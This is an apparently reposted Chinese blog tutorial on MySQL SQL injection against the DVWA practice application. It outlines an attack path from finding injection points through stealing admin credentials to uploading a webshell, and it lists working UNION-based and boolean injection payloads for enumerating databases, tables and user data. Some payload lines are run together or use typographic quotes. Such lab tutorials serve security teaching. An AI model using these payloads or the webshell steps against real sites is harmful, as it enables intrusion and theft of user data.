【渗透测试】-SQL注入之DVWA下进行mysql注入

渗透的一般思路:

1、寻找注入点,可以通过一些扫描工具来获得,例如:w3af等。
2、通过注入点,尝试获得关于连接数据库的用户名,数据库名称、连接数据库的用户权限(如果用户权限太低要考虑是否要提权),操作系统信息,数据库版本等信息。
3、然后就是猜解数据库表名,列名,内容(一般查看的都是存放管理员账户的表名。字段名等信息)
4、得到管理员账户密码后,找到网站的后台进行登录。
5、然后看后台有没有上传文件的地方或者其他可以使用的漏洞来上传木马,获得到webshell,进入到shell后然后在考虑权限问题(是否需要提权等)。

mysql常用的注入语句(–后边需要增加一个空格):

1′ order by 2 —   /*用来猜解查询信息的列数
1′ and 1=2 union select user(),database(),–
1′ and 1=2 union select user(),version(), — /*利用user(),database(),version()函数获得数据库信息
1’and 1=2 union select 1,@@global.version_compile_os from mysql.user — /*获得操作系统信息1′ and ord(mid(user(),1,1))=114 —  /*测试连接数据库用户权限
1′ and 1=2 union select 1,schema_name from information_schema.schemata — /*爆出所有数据库名称1′ and exists(select * from users) — /*猜解表名
1′ and exists(select first_name from users) — /猜解字段名
1′ and 1=2 union select first_name,last_name from users — /*猜解字段内容

欢迎关注微信公众号(coder0x00)或扫描下方二维码关注,我们将持续搜寻程序员必备基础技能包提供给大家。


【渗透测试】-SQL注入之DVWA下进行mysql注入_第1张图片

你可能感兴趣的:(【渗透测试】-SQL注入之DVWA下进行mysql注入)